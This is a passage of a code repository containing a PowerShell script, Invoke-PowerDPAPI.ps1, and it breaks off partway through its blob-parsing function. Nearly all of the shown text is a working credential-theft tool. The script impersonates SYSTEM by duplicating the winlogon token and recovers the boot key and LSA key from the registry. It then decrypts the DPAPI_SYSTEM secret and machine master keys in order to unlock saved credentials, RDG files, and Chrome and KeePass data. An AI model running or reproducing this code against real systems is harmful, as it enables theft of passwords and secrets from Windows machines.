├── Invoke-PowerDPAPI.ps1 ├── LICENSE └── README.md /Invoke-PowerDPAPI.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-FunctionLookup { 2 | param ([string] $moduleName, [string] $functionName) 3 | 4 | # Load the CLR helper type from System.dll 5 | $gacAsm = [AppDomain]::CurrentDomain.GetAssemblies() | 6 | Where-Object { $_.GlobalAssemblyCache -and $_.Location.Split('\')[-1] -eq 'System.dll' } 7 | 8 | $helperType = $gacAsm.GetType('Microsoft.Win32.UnsafeNativeMethods') 9 | $ptrOverload = $helperType.GetMethod('GetProcAddress', [Reflection.BindingFlags]::Public -bor [Reflection.BindingFlags]::Static, $null, [Type[]] @([IntPtr], [string]),$null) 10 | 11 | if ($ptrOverload) 12 | { 13 | $moduleHandle = $helperType.GetMethod('GetModuleHandle').Invoke($null, @($moduleName)) 14 | return $ptrOverload.Invoke($null, @($moduleHandle, $functionName)) 15 | } 16 | 17 | # Fallback to HandleRef overload 18 | $handleRefOverload = $helperType.GetMethod('GetProcAddress', [Reflection.BindingFlags]::Public -bor [Reflection.BindingFlags]::Static, $null,[Type[]] @([System.Runtime.InteropServices.HandleRef], [string]),$null) 19 | if (-not $handleRefOverload) 20 | { 21 | throw 'Could not find a suitable GetProcAddress overload on this system.' 22 | } 23 | 24 | $moduleHandle = $helperType.GetMethod('GetModuleHandle').Invoke($null, @($moduleName)) 25 | $handleRef = New-Object System.Runtime.InteropServices.HandleRef($null, $moduleHandle) 26 | return $handleRefOverload.Invoke($null, @($handleRef, $functionName)) 27 | } 28 | 29 | function Invoke-GetDelegate { 30 | param ([Type[]] $parameterTypes, [Type] $returnType = [Void]) 31 | 32 | # Create a dynamic in‑memory delegate type 33 | $asmName = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 34 | $asmBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($asmName, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 35 | $modBuilder = $asmBuilder.DefineDynamicModule('InMemoryModule', $false) 36 | 37 | $typeBuilder = $modBuilder.DefineType( 38 | 'MyDelegateType', 39 | [System.Reflection.TypeAttributes]::Class -bor 40 | [System.Reflection.TypeAttributes]::Public -bor 41 | [System.Reflection.TypeAttributes]::Sealed -bor 42 | [System.Reflection.TypeAttributes]::AnsiClass -bor 43 | [System.Reflection.TypeAttributes]::AutoClass, 44 | [System.MulticastDelegate] 45 | ) 46 | 47 | $ctor = $typeBuilder.DefineConstructor( 48 | [System.Reflection.MethodAttributes]::RTSpecialName -bor 49 | [System.Reflection.MethodAttributes]::HideBySig -bor 50 | [System.Reflection.MethodAttributes]::Public, 51 | [System.Reflection.CallingConventions]::Standard, 52 | $parameterTypes 53 | ) 54 | $ctor.SetImplementationFlags([System.Reflection.MethodImplAttributes]::Runtime -bor 55 | [System.Reflection.MethodImplAttributes]::Managed) 56 | 57 | $invokeMethod = $typeBuilder.DefineMethod( 58 | 'Invoke', 59 | [System.Reflection.MethodAttributes]::Public -bor 60 | [System.Reflection.MethodAttributes]::HideBySig -bor 61 | [System.Reflection.MethodAttributes]::NewSlot -bor 62 | [System.Reflection.MethodAttributes]::Virtual, 63 | $returnType, 64 | $parameterTypes 65 | ) 66 | $invokeMethod.SetImplementationFlags([System.Reflection.MethodImplAttributes]::Runtime -bor 67 | [System.Reflection.MethodImplAttributes]::Managed) 68 | 69 | return $typeBuilder.CreateType() 70 | } 71 | 72 | $FnOpenProcess = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Kernel32.dll' -functionName 'OpenProcess' ),(Invoke-GetDelegate @([UInt32],[bool],[UInt32])([IntPtr]))) 73 | $FnOpenProcessToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'OpenProcessToken' ),(Invoke-GetDelegate @([IntPtr],[UInt32],[IntPtr].MakeByRefType())([bool]))) 74 | $FnDuplicateTokenEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'DuplicateTokenEx' ),(Invoke-GetDelegate @([IntPtr],[UInt32],[IntPtr],[UInt32],[UInt32],[IntPtr].MakeByRefType())([bool]))) 75 | $FnImpersonateLoggedOnUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'ImpersonateLoggedOnUser' ),(Invoke-GetDelegate @([IntPtr])([bool]))) 76 | $FnRegOpenKeyEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegOpenKeyExA' ),(Invoke-GetDelegate @([Int32],[string],[Int32],[Int32],[IntPtr].MakeByRefType())([Int32]))) 77 | $FnRegQueryValueEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegQueryValueExA' ),(Invoke-GetDelegate @([IntPtr],[string],[IntPtr],[UInt32].MakeByRefType(),[IntPtr],[UInt32].MakeByRefType())([Int32]))) 78 | $FnRegQueryInfoKey = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegQueryInfoKeyA' ),(Invoke-GetDelegate @([Int32],[System.Text.StringBuilder],[Int32].MakeByRefType(),[Int32],[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[Int32].MakeByRefType(),[IntPtr])([Int32]))) 79 | $FnRegCloseKey = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RegCloseKey' ),(Invoke-GetDelegate @([Int32])([Int32]))) 80 | $FnRevertToSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Invoke-FunctionLookup -moduleName 'Advapi32.dll' -functionName 'RevertToSelf' ),(Invoke-GetDelegate -parameterTypes $null -returnType ([bool]))) 81 | 82 | 83 | 84 | function Invoke-Impersonate { 85 | 86 | $currentSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value 87 | 88 | if ($currentSid -eq 'S-1-5-18') 89 | { 90 | return $true 91 | } 92 | 93 | $winlogonId = (Get-Process -Name 'winlogon' -ErrorAction Stop | Select-Object -First 1 -ExpandProperty Id) 94 | 95 | $processHandle = $FnOpenProcess.Invoke(0x400, $true, [int]$winlogonId) 96 | 97 | if ($processHandle -eq [IntPtr]::Zero) 98 | { 99 | return $false 100 | } 101 | 102 | $tokenHandle = [IntPtr]::Zero 103 | 104 | if (-not $FnOpenProcessToken.Invoke($processHandle, 0x0E, [ref]$tokenHandle)) 105 | { 106 | return $false 107 | } 108 | 109 | $dupHandle = [IntPtr]::Zero 110 | 111 | if (-not $FnDuplicateTokenEx.Invoke($tokenHandle, 0x02000000, [IntPtr]::Zero, 0x02, 0x01, [ref]$dupHandle)) 112 | { 113 | return $false 114 | } 115 | 116 | try { 117 | 118 | if (-not $FnImpersonateLoggedOnUser.Invoke($dupHandle)) 119 | { 120 | return $false 121 | } 122 | 123 | $newSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value 124 | 125 | return ($newSid -eq 'S-1-5-18') 126 | } 127 | 128 | catch 129 | { 130 | return $false 131 | } 132 | } 133 | 134 | 135 | # Taken from this project https://raw.githubusercontent.com/tmenochet/PowerDump/refs/heads/master/DpapiDump.ps1 136 | 137 | if (-not [Type]::GetType('Pbkdf2', $false, $false)) { 138 | Add-Type -TypeDefinition @" 139 | using System; 140 | using System.Security.Cryptography; 141 | 142 | public class Pbkdf2 { 143 | public Pbkdf2(HMAC algorithm, Byte[] password, Byte[] salt, Int32 iterations) { 144 | if (algorithm == null) { throw new ArgumentNullException("algorithm", "Algorithm cannot be null."); } 145 | if (salt == null) { throw new ArgumentNullException("salt", "Salt cannot be null."); } 146 | if (password == null) { throw new ArgumentNullException("password", "Password cannot be null."); } 147 | this.Algorithm = algorithm; 148 | this.Algorithm.Key = password; 149 | this.Salt = salt; 150 | this.IterationCount = iterations; 151 | this.BlockSize = this.Algorithm.HashSize / 8; 152 | this.BufferBytes = new byte[this.BlockSize]; 153 | } 154 | 155 | private readonly int BlockSize; 156 | private uint BlockIndex = 1; 157 | private byte[] BufferBytes; 158 | private int BufferStartIndex = 0; 159 | private int BufferEndIndex = 0; 160 | 161 | public HMAC Algorithm { get; private set; } 162 | public Byte[] Salt { get; private set; } 163 | public Int32 IterationCount { get; private set; } 164 | 165 | public Byte[] GetBytes(int count, string algorithm = "sha512") { 166 | byte[] result = new byte[count]; 167 | int resultOffset = 0; 168 | int bufferCount = this.BufferEndIndex - this.BufferStartIndex; 169 | 170 | if (bufferCount > 0) { 171 | if (count < bufferCount) { 172 | Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, count); 173 | this.BufferStartIndex += count; 174 | return result; 175 | } 176 | Buffer.BlockCopy(this.BufferBytes, this.BufferStartIndex, result, 0, bufferCount); 177 | this.BufferStartIndex = this.BufferEndIndex = 0; 178 | resultOffset += bufferCount; 179 | } 180 | 181 | while (resultOffset < count) { 182 | int needCount = count - resultOffset; 183 | if (algorithm.ToLower() == "sha256") 184 | this.BufferBytes = this.Func(false); 185 | else 186 | this.BufferBytes = this.Func(); 187 | 188 | if (needCount > this.BlockSize) { 189 | Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, this.BlockSize); 190 | resultOffset += this.BlockSize; 191 | } else { 192 | Buffer.BlockCopy(this.BufferBytes, 0, result, resultOffset, needCount); 193 | this.BufferStartIndex = needCount; 194 | this.BufferEndIndex = this.BlockSize; 195 | return result; 196 | } 197 | } 198 | return result; 199 | } 200 | 201 | private byte[] Func(bool mscrypto = true) { 202 | var hash1Input = new byte[this.Salt.Length + 4]; 203 | Buffer.BlockCopy(this.Salt, 0, hash1Input, 0, this.Salt.Length); 204 | Buffer.BlockCopy(GetBytesFromInt(this.BlockIndex), 0, hash1Input, this.Salt.Length, 4); 205 | var hash1 = this.Algorithm.ComputeHash(hash1Input); 206 | byte[] finalHash = hash1; 207 | 208 | for (int i = 2; i <= this.IterationCount; i++) { 209 | hash1 = this.Algorithm.ComputeHash(hash1, 0, hash1.Length); 210 | for (int j = 0; j < this.BlockSize; j++) { 211 | finalHash[j] = (byte)(finalHash[j] ^ hash1[j]); 212 | } 213 | if (mscrypto) 214 | Array.Copy(finalHash, hash1, hash1.Length); 215 | } 216 | 217 | if (this.BlockIndex == uint.MaxValue) { 218 | throw new InvalidOperationException("Derived key too long."); 219 | } 220 | this.BlockIndex += 1; 221 | return finalHash; 222 | } 223 | 224 | private static byte[] GetBytesFromInt(uint i) { 225 | var bytes = BitConverter.GetBytes(i); 226 | if (BitConverter.IsLittleEndian) { 227 | return new byte[] { bytes[3], bytes[2], bytes[1], bytes[0] }; 228 | } else { 229 | return bytes; 230 | } 231 | } 232 | } 233 | "@ -ReferencedAssemblies System.Security 234 | } 235 | 236 | 237 | 238 | function Get-BootKey { 239 | 240 | # Retrieves the boot key by querying specific registry keys under SYSTEM hive and descrambles it. Returns the boot key as a byte array. 241 | # Hand-off: Returns boot key to Get-LSAKey function. 242 | 243 | $ScrambledKey = [System.Text.StringBuilder]::new() 244 | $keyNames = @("JD", "Skew1", "GBG", "Data") 245 | 246 | foreach ($Key in $keyNames) 247 | { 248 | [string] $KeyPath = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\$Key" 249 | $ClassVal = [System.Text.StringBuilder]::new(1024) 250 | $Len = 1024 251 | $hKey = [IntPtr]::Zero 252 | $dummy = [IntPtr]::Zero 253 | 254 | $Result = $FnRegOpenKeyEx.Invoke(0x80000002, $KeyPath, 0x0, 0x19, [ref]$hKey) 255 | 256 | if ($Result -ne 0) 257 | { 258 | $ErrCode = [System.Runtime.Interopservices.Marshal]::GetLastWin32Error() 259 | Write-Host "[!] Error opening $KeyPath : $ErrCode" 260 | return $null 261 | } 262 | 263 | $Result = $FnRegQueryInfoKey.Invoke($hKey, $ClassVal, [ref]$Len, 0x0, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [ref]$null, [IntPtr]::Zero) 264 | 265 | if ($Result -ne 0) 266 | { 267 | $ErrCode = [System.Runtime.Interopservices.Marshal]::GetLastWin32Error() 268 | Write-Host "[!] Error querying $KeyPath : $ErrCode" 269 | return $null 270 | } 271 | 272 | $FnRegCloseKey.Invoke($hKey) > $null 273 | $ScrambledKey.Append($ClassVal) > $null 274 | } 275 | 276 | $Descramble = @(0x8, 0x5, 0x4, 0x2, 0xB, 0x9, 0xD, 0x3, 0x0, 0x6, 0x1, 0xC, 0xE, 0xA, 0xF, 0x7) 277 | $BootKey = foreach ($i in $Descramble) { [Convert]::ToByte("$($ScrambledKey[$i * 2])$($ScrambledKey[$i * 2 + 1])", 16) } 278 | $HexString = ($BootKey | ForEach-Object { $_.ToString("X2") }) -join "" 279 | 280 | return $BootKey 281 | } 282 | 283 | function Get-LsaSha256Hash { 284 | param ([byte[]] $Key, [byte[]] $RawData) 285 | 286 | # Computes a SHA256 hash of a key combined with repeated raw data. Used for deriving encryption keys in LSA decryption. 287 | # Hand-off: Returns hash to Get-LSAKey/Get-LSASecret for key derivation. 288 | 289 | $bufferSize = $Key.Length + ($RawData.Length * 1000) 290 | $buffer = New-Object byte[] $bufferSize 291 | [System.Array]::Copy($Key, 0, $buffer, 0, $Key.Length) 292 | 293 | for ($i = 0; $i -lt 1000; $i++) 294 | { 295 | $dest = $Key.Length + ($i * $RawData.Length) 296 | [System.Array]::Copy($RawData, 0, $buffer, $dest, $RawData.Length) 297 | } 298 | 299 | $sha256 = [System.Security.Cryptography.SHA256]::Create() 300 | 301 | try 302 | { 303 | return $sha256.ComputeHash($buffer) 304 | } 305 | 306 | finally 307 | { 308 | $sha256.Dispose() 309 | } 310 | } 311 | 312 | function Get-LsaAesDecrypt { 313 | param ([byte[]] $Key,[byte[]] $Data) 314 | 315 | # Decrypts AES-CBC encrypted data using a provided key and zero IV. Handles data in 16-byte chunks. 316 | # Hand-off: Returns decrypted data to Get-LSAKey/Get-LSASecret for LSA secret extraction. 317 | 318 | $aes = [System.Security.Cryptography.AesManaged]::new() 319 | try 320 | { 321 | $aes.Key = $Key 322 | $aes.IV = New-Object byte[] 16 323 | $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC 324 | $aes.BlockSize = 128 325 | $aes.Padding = [System.Security.Cryptography.PaddingMode]::Zeros 326 | 327 | $transform = $aes.CreateDecryptor() 328 | $chunks = [int][math]::Ceiling($Data.Length / 16) 329 | $plaintext = New-Object byte[] ($chunks * 16) 330 | 331 | for ($i = 0; $i -lt $chunks; $i++) 332 | { 333 | $offset = $i * 16 334 | $chunk = New-Object byte[] 16 335 | [System.Array]::Copy($Data, $offset, $chunk, 0, 16) 336 | $decryptedChunk = $transform.TransformFinalBlock($chunk, 0, 16) 337 | [System.Array]::Copy($decryptedChunk, 0, $plaintext, $offset, 16) 338 | } 339 | 340 | return $plaintext 341 | } 342 | 343 | finally 344 | { 345 | $transform.Dispose() 346 | $aes.Dispose() 347 | } 348 | } 349 | 350 | function Get-LSAKey { 351 | 352 | # Derives the LSA encryption key using the boot key and encrypted registry data from SECURITY hive. 353 | # Hand-off: Uses Get-BootKey, passes data to Get-LsaSha256Hash/Get-LsaAesDecrypt. Returns LSA key to Get-LSASecret. 354 | 355 | $BootKey = Get-BootKey 356 | $LSAKeyEncryptedStruct = Get-ItemPropertyValue -Path "HKLM:\SECURITY\Policy\PolEKList" -Name "(default)" 357 | $LSAEncryptedData = $LSAKeyEncryptedStruct[28..($LSAKeyEncryptedStruct.Length - 1)] 358 | $LSAEncryptedDataEncryptedKey = $LSAEncryptedData[0..31] 359 | $tmpKey = Get-LsaSha256Hash -Key $BootKey -RawData $LSAEncryptedDataEncryptedKey 360 | $LSAEncryptedDataRemainder = $LSAEncryptedData[32..($LSAEncryptedData.Length - 1)] 361 | $LSAKeyStructPlaintext = Get-LsaAesDecrypt -Key $tmpKey -Data $LSAEncryptedDataRemainder 362 | $LSAKey = New-Object byte[] 32 363 | [System.Array]::Copy($LSAKeyStructPlaintext, 68, $LSAKey, 0, 32) 364 | 365 | function ToHex($bytes) { ($bytes | ForEach-Object { $_.ToString("X2") }) -join '' } 366 | Write-Host "[*] BootKey : $(ToHex $BootKey)" 367 | Write-Host "[*] tmpKey : $(ToHex $tmpKey)" 368 | Write-Host "[*] LSA Key : $(ToHex $LSAKey)" 369 | 370 | return $LSAKey 371 | } 372 | 373 | function Get-LSASecret { 374 | param ([string] $SecretName) 375 | 376 | # Retrieves and decrypts a specified LSA secret from the registry using the LSA key. 377 | # Hand-off: Uses Get-LSAKey, passes data to Get-LsaSha256Hash/Get-LsaAesDecrypt. Returns DPAPI_SYSTEM secret to Get-DPAPIKeys. 378 | 379 | $LSAKey = Get-LSAKey 380 | $RegistryPath = "HKLM:\SECURITY\Policy\Secrets\$SecretName\CurrVal" 381 | 382 | try 383 | { 384 | $RegistryKey = Get-Item -Path $RegistryPath -ErrorAction Stop 385 | $KeyData = $RegistryKey.GetValue("") 386 | 387 | if (-not $KeyData -or $KeyData.Length -lt 28) 388 | { 389 | Write-Warning "Invalid registry data for $SecretName" 390 | return $null 391 | } 392 | 393 | $keyEncryptedData = $keyData[28..($keyData.Length-1)] 394 | $keyEncryptedDataEncryptedKey = $keyEncryptedData[0..31] 395 | $tmpKey = Get-LSASHA256Hash -Key $LSAKey -RawData $keyEncryptedDataEncryptedKey 396 | $keyEncryptedDataRemainder = $keyEncryptedData[32..($keyEncryptedData.Length-1)] 397 | $keyPathPlaintext = Get-LsaAesDecrypt -Key $tmpKey -Data $keyEncryptedDataRemainder 398 | 399 | if ($SecretName -eq "DPAPI_SYSTEM") 400 | { 401 | return $keyPathPlaintext[20..59] 402 | } 403 | 404 | Write-Warning "LSA Secret '$SecretName' not implemented" 405 | return $null 406 | } 407 | 408 | catch 409 | { 410 | Write-Warning "Error accessing registry: $_" 411 | return $null 412 | } 413 | } 414 | 415 | function Get-DPAPIKeys { 416 | 417 | # Extracts machine and user DPAPI keys from the decrypted DPAPI_SYSTEM secret. 418 | # Hand-off: Uses Get-LSASecret. Stores keys in script variables for later use by Triage-SystemMasterKeys. 419 | 420 | $dpapiKeyFull = Get-LSASecret -SecretName "DPAPI_SYSTEM" 421 | $script:dpapiMachineKeysBytes = New-Object byte[] 20 422 | $script:dpapiUserKeysBytes = New-Object byte[] 20 423 | 424 | [System.Array]::Copy($dpapiKeyFull, 0, $script:dpapiMachineKeysBytes, 0, 20) 425 | [System.Array]::Copy($dpapiKeyFull, 20, $script:dpapiUserKeysBytes , 0, 20) 426 | 427 | function ToHex($bytes) { ($bytes | ForEach-Object { $_.ToString("X2") }) -join '' } 428 | 429 | Write-Host "" 430 | Write-Host "[*] Secret : DPAPI_SYSTEM" 431 | Write-Host "[*] Full : $(( $dpapiKeyFull | ForEach-Object { $_.ToString('X2') } ) -join '')" 432 | Write-Host "[*] Machine : $(( $script:dpapiMachineKeysBytes | ForEach-Object { $_.ToString('X2') } ) -join '')" 433 | Write-Host "[*] User : $(( $script:dpapiUserKeysBytes | ForEach-Object { $_.ToString('X2') } ) -join '')" 434 | Write-Host "" 435 | } 436 | 437 | function Get-MasterKey { 438 | param ([byte[]] $masterKeyBytes) 439 | 440 | # Extracts and validates the master key length from DPAPI master key bytes. 441 | # Hand-off: Called by Decrypt-MasterKeyWithSha to process master key structures. 442 | 443 | $offset = 96 444 | $masterKeyLength = [System.BitConverter]::ToInt64($masterKeyBytes, $offset) 445 | $offset += 4 * 8 446 | 447 | if ($masterKeyLength -lt 0 -or $masterKeyLength -gt 1048576) 448 | { 449 | return "[!] MasterKeyLength value $masterKeyLength is invalid or suspicious" 450 | } 451 | 452 | $masterKeySubBytes = New-Object byte[] ([int]$masterKeyLength) 453 | [System.Array]::Copy($masterKeyBytes, $offset, $masterKeySubBytes, 0, [int]$masterKeyLength) 454 | return $masterKeySubBytes 455 | } 456 | 457 | function Derive-PreKey { 458 | param ([byte[]] $shaBytes, [uint32] $algHash, [byte[]] $salt, [int] $rounds) 459 | 460 | # Derives a pre-key using PBKDF2 with HMAC-SHA1/SHA512 for DPAPI master key decryption. 461 | # Hand-off: Returns derived key to Decrypt-MasterKeyWithSha for decryption operations. 462 | 463 | switch ($algHash) 464 | { 465 | 32782 466 | { 467 | $hmac = [System.Security.Cryptography.HMACSHA512]::new() 468 | $df = [Pbkdf2]::new($hmac, $shaBytes, $salt, $rounds) 469 | $derivedPreKey = $df.GetBytes(48, "sha512") 470 | break 471 | } 472 | 32777 473 | { 474 | $hmac = [System.Security.Cryptography.HMACSHA1]::new() 475 | $df = [Pbkdf2]::new($hmac, $shaBytes, $salt, $rounds) 476 | $derivedPreKey = $df.GetBytes(32, "sha1") 477 | break 478 | } 479 | default 480 | { 481 | throw "Unsupported algHash: $algHash" 482 | } 483 | } 484 | 485 | return $derivedPreKey 486 | } 487 | 488 | 489 | 490 | 491 | function Decrypt-Aes256HmacSha512 { 492 | param ([byte[]] $ShaBytes, [byte[]] $Final, [byte[]] $EncData) 493 | 494 | # Decrypts AES-256-CBC data with HMAC-SHA512 integrity check. Used for newer DPAPI master keys. 495 | # Hand-off: Returns SHA1 of decrypted master key to Decrypt-MasterKeyWithSha. 496 | 497 | # Key and IV setup 498 | $HMACLen = [System.Security.Cryptography.HMACSHA512]::new().HashSize / 8 499 | $IVBytes = New-Object byte[] 16 500 | $key = New-Object byte[] 32 501 | [Array]::Copy($Final, 32, $IVBytes, 0, 16) 502 | [Array]::Copy($Final, 0, $key, 0, 32) 503 | 504 | # AES Decrypt 505 | $aes = New-Object Security.Cryptography.AesManaged 506 | $aes.Key = $key 507 | $aes.IV = $IVBytes 508 | $aes.Mode = [Security.Cryptography.CipherMode]::CBC 509 | $aes.Padding= [Security.Cryptography.PaddingMode]::Zeros 510 | $dec = $aes.CreateDecryptor() 511 | $plain = $dec.TransformFinalBlock($EncData, 0, $EncData.Length) 512 | 513 | # HMAC and SHA 514 | $outLen = $plain.Length 515 | $outputLen = $outLen - 16 - $HMACLen 516 | $mkFull = New-Object byte[] $HMACLen 517 | [Array]::Copy($plain, $outLen - $outputLen, $mkFull, 0, $mkFull.Length) 518 | $sha1 = [System.Security.Cryptography.SHA1Managed]::Create() 519 | $mkSha1 = $sha1.ComputeHash($mkFull) 520 | 521 | $cryptBuf = New-Object byte[] 16 522 | [Array]::Copy($plain, $cryptBuf, 16) 523 | $hmac1 = [System.Security.Cryptography.HMACSHA512]::new($ShaBytes) 524 | $r1Hmac = $hmac1.ComputeHash($cryptBuf) 525 | 526 | $r2Buf = New-Object byte[] $outputLen 527 | [Array]::Copy($plain, $outLen - $outputLen, $r2Buf, 0, $outputLen) 528 | $hmac2 = [System.Security.Cryptography.HMACSHA512]::new($r1Hmac) 529 | $r2Hmac = $hmac2.ComputeHash($r2Buf) 530 | 531 | $cmp = New-Object byte[] 64 532 | [Array]::Copy($plain, 16, $cmp, 0, $cmp.Length) 533 | 534 | if (-not [System.Linq.Enumerable]::SequenceEqual($cmp, $r2Hmac)) 535 | { 536 | throw "HMAC integrity check failed!" 537 | } 538 | 539 | return $mkSha1 540 | } 541 | 542 | 543 | 544 | function Decrypt-TripleDESHmac { 545 | param ([byte[]] $Final, [byte[]] $EncData) 546 | 547 | # Decrypts 3DES data with custom HMAC handling. Used for older DPAPI master keys. 548 | # Hand-off: Returns SHA1 of decrypted master key to Decrypt-MasterKeyWithSha. 549 | 550 | $ivBytes = New-Object byte[] 8 551 | $key = New-Object byte[] 24 552 | [Array]::Copy($Final, 24, $ivBytes, 0, 8) 553 | [Array]::Copy($Final, 0, $key, 0, 24) 554 | 555 | $des = New-Object Security.Cryptography.TripleDESCryptoServiceProvider 556 | $des.Key = $key 557 | $des.IV = $ivBytes 558 | $des.Mode = [Security.Cryptography.CipherMode]::CBC 559 | $des.Padding= [Security.Cryptography.PaddingMode]::Zeros 560 | 561 | $decryptor = $des.CreateDecryptor() 562 | $plaintextBytes = $decryptor.TransformFinalBlock($EncData, 0, $EncData.Length) 563 | 564 | $decryptedKey = New-Object byte[] 64 565 | [Array]::Copy($plaintextBytes, 40, $decryptedKey, 0, 64) 566 | 567 | $sha1 = New-Object Security.Cryptography.SHA1Managed 568 | $masterKeySha1 = $sha1.ComputeHash($decryptedKey) 569 | 570 | return $masterKeySha1 571 | } 572 | 573 | function Decrypt-MasterKeyWithSha { 574 | param ([byte[]] $MasterKeyBytes,[byte[]] $SHABytes) 575 | 576 | # Orchestrates DPAPI master key decryption using derived keys and algorithm-specific functions. 577 | # Hand-off: Calls Derive-PreKey and algorithm-specific decryptors. Returns GUID:key mapping to Triage-SystemMasterKeys. 578 | 579 | $guid = '{' + [System.Text.Encoding]::Unicode.GetString($MasterKeyBytes, 12, 72) + '}' 580 | $mkBytes = Get-MasterKey $MasterKeyBytes 581 | 582 | $offset = 4 583 | $salt = New-Object byte[] 16 584 | [Array]::Copy($mkBytes, $offset, $salt, 0, 16) 585 | $offset += 16 586 | 587 | $rounds = [BitConverter]::ToInt32($mkBytes, $offset) 588 | $offset += 4 589 | 590 | $algHash = [BitConverter]::ToUInt32($mkBytes, $offset) 591 | $offset += 4 592 | 593 | $algCrypt = [BitConverter]::ToUInt32($mkBytes, $offset) 594 | $offset += 4 595 | 596 | $encData = New-Object byte[] ($mkBytes.Length - $offset) 597 | [Array]::Copy($mkBytes, $offset, $encData, 0, $encData.Length) 598 | 599 | $derivedPreKey = Derive-PreKey -shaBytes $SHABytes -algHash $algHash -salt $salt -rounds $rounds 600 | 601 | if ($algCrypt -eq 26128 -and $algHash -eq 32782) 602 | { 603 | 604 | # CALG_AES_256 with CALG_SHA_512 605 | $masterKeySha1 = Decrypt-Aes256HmacSha512 -ShaBytes $shaBytes -Final $derivedPreKey -EncData $encData 606 | $masterKeyStr = ($masterKeySha1 | ForEach-Object { $_.ToString("X2") }) -join "" 607 | return @{ $guid = $masterKeyStr } 608 | } 609 | 610 | elseif ($algCrypt -eq 26115 -and ($algHash -eq 32777 -or $algHash -eq 32772)) 611 | { 612 | 613 | # CALG_3DES with CALG_HMAC or CALG_SHA1 614 | $masterKeySha1 = Decrypt-TripleDESHmac -Final $derivedPreKey -EncData $encData 615 | $masterKeyStr = ($masterKeySha1 | ForEach-Object { $_.ToString("X2") }) -join "" 616 | return @{ $guid = $masterKeyStr } 617 | } 618 | 619 | else 620 | { 621 | throw "Alg crypt '$algCrypt / 0x{0:X8}' not currently supported!" -f $algCrypt 622 | } 623 | } 624 | 625 | 626 | 627 | function Describe-DPAPIBlob { 628 | param ([byte[]]$blobBytes, [hashtable] $MasterKeys,[string] $blobType = "blob",[bool] $unprotect = $false, [byte[]] $entropy = $null) 629 | 630 | # Parses and decrypts DPAPI blobs (credentials, RDG files, etc.) using provided master keys. 631 | # Hand-off: Uses MasterKeys hashtable. Returns decrypted data to Decrypt-NAA. 632 | 633 | $offset = 0 634 | 635 | if ($blobType -eq "credential") 636 | { 637 | $offset = 36 638 | } 639 | 640 | elseif ($blobType -in @("policy","blob","rdg","chrome","keepass")) 641 | { 642 | $offset = 24 643 | } 644 | 645 | else 646 | { 647 | Write-Host "[!] Unsupported blob type: $blobType" 648 | return ,@() 649 | } 650 | 651 | $guidMasterKey = [Guid]::new([byte[]]$blobBytes[$offset..($offset+15)]) 652 | $guidString = "{$guidMasterKey}" 653 | $offset += 16 654 | 655 | if ($blobType -notin "rdg","chrome") 656 | { 657 | Write-Host " guidMasterKey : $guidString" 658 | Write-Host " size : $($blobBytes.Length)" 659 | } 660 | 661 | $flags = [BitConverter]::ToUInt32($blobBytes, $offset) 662 | $offset += 4 663 | 664 | if ($blobType -notin "rdg","chrome") 665 | { 666 | $flagInfo = "0x$($flags.ToString('X8'))" 667 | 668 | if ($flags -eq 0x20000000) 669 | { 670 | $flagInfo += " (CRYPTPROTECT_SYSTEM)" 671 | } 672 | 673 | Write-Host " flags : $flagInfo" 674 | } 675 | 676 | $descLength = [BitConverter]::ToInt32($blobBytes, $offset) 677 | $offset += 4 678 | $description = [System.Text.Encoding]::Unicode.GetString($blobBytes, $offset, $descLength) 679 | $offset += $descLength 680 | 681 | $algCrypt = [BitConverter]::ToInt32($blobBytes, $offset) 682 | $offset += 4 683 | $algCryptLen = [BitConverter]::ToInt32($blobBytes, $offset) 684 | $offset += 4 685 | $saltLen = [BitConverter]::ToInt32($blobBytes, $offset) 686 | $offset += 4 687 | $saltBytes = $blobBytes[$offset..($offset+$saltLen-1)] 688 | $offset += $saltLen 689 | 690 | $hmacKeyLen = [BitConverter]::ToInt32($blobBytes, $offset) 691 | $offset += 4 + $hmacKeyLen 692 | $algHash = [BitConverter]::ToInt32($blobBytes, $offset) 693 | $offset += 4 694 | 695 | if ($blobType -notin "rdg","chrome") 696 | { 697 | Write-Host " algHash/algCrypt : $algHash ($([CryptAlg]$algHash)) / $algCrypt ($([CryptAlg]$algCrypt))" 698 | Write-Host " description : $description" 699 | } 700 | 701 | $algHashLen = [BitConverter]::ToInt32($blobBytes, $offset) 702 | $offset += 4 703 | $hmac2KeyLen = [BitConverter]::ToInt32($blobBytes, $offset) 704 | $offset += 4 + $hmac2KeyLen 705 | 706 | $dataLen = [BitConverter]::ToInt32($blobBytes, $offset) 707 | $offset += 4 708 | $dataBytes = $blobBytes[$offset..($offset+$dataLen-1)] 709 | 710 | if ($unprotect -and $blobType -in "blob","rdg","chrome","keepass") 711 | { 712 | try 713 